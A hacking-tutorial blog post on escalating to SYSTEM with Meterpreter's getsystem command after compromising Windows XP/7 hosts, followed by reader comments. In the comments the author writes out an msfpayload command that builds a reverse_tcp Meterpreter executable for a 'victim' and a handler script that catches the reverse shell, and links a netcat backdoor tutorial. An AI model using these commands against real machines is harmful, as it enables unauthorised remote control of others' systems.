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Privilege Escalation in Metasploit Meterpreter (Backtrack 5)

Privilege Escalation in Metasploit Meterpreter (Backtrack 5)

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Type : Tips and Trick

Level : Easy

What is privilege escalation?

according to wikipedia Privilege Escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user. The result is that an application with more privileges than intended by the application developer or system administrator can perform unauthorized actions.

Sometimes when you trying to exploit a security hole and success gain an access to the target system, usually you only act as logged user and it’s not a local system account. In this tips and trick there’s a simple step to escalate your privilege when you’re inside meterpreter. I’ve test and try this tips and trick in my Backtrack 5 and Windows XP SP3 and Windows 7 SP0.

This picture below taken when hackers successfully gain an access using Java Signed Applet Social Engineering Toolkit Code Execution.

Privilege Escalation in Metasploit Meterpreter Backtrack 5

When running getuid command, we know that we running as user that already logged in to the system but we didn’t act as system account. How do we do that to escalate our privilege to system account? Let’s run the help command in your meterpreter console.

Privilege Escalation in Metasploit Meterpreter Backtrack 5

That’s it, with getsystem command we will try to escalate our privilege into local system and controlled everything from there.

Privilege Escalation in Metasploit Meterpreter Backtrack 5

Hope you enjoyed ๐Ÿ™‚

FYI : I’ve try to run getsystem in Windows 7 SP1 , but it didn’t work(Update : It will work depend on which kind of vulnerability and exploit you use).

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  • hitesh

    hi ,
    I try to use  metasploit many time but all time i got error"exploit completed but no session was created" plz help me my os is xp3 and remote system os is also xp3. 
    my firewall is off and antivirus is also plz help me
    Thanks

    • v4L

      #hitesh
      did you set up the options configuration and payload correctly?or maybe you can paste your configuration here

  • Himanshu

    I cracked win 7 fully patched , fully updated microsoft security essentials and got the system by technique 1
    if you do it just by getsystem it wont work , but if you run a meterpreter script it will open a new session and then if you do the getsystem it will work

    • v4L

      #Himanshu
      Thanks for your input; btw I forgot to remove the last line of this tutorial ๐Ÿ™‚ this getsystem was work depend on which exploit you use.
      And also if you think meterpreter script will work, which script you use?if you use :
      root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 X > Meterpreter.exe
      and then you execute the Meterpreter.exe on victim(WIndows 7 SP1) and you handle it with this meterpreter script :
      root@bt:~# cat meterpreter.rc
      use exploit/multi/handler
      set PAYLOAD windows/meterpreter/reverse_tcp
      set LHOST 192.168.1.184
      set ExitOnSession false
      exploit -j -z

      yes you can do it, because you made the connection not from some vulnerability and you exploited it…

      I think it’s the same like you execute netcat or rcat from victim and your BT5 handle the connection. http://www./hacking-tutorial/10-steps-to-use-netcat-as-a-backdoor-in-windows-7-system/

  • TrongToan

    in window 7 getsystem not working it not easy unless window xp ๐Ÿ™‚ ๐Ÿ˜› still access is denied ๐Ÿ™‚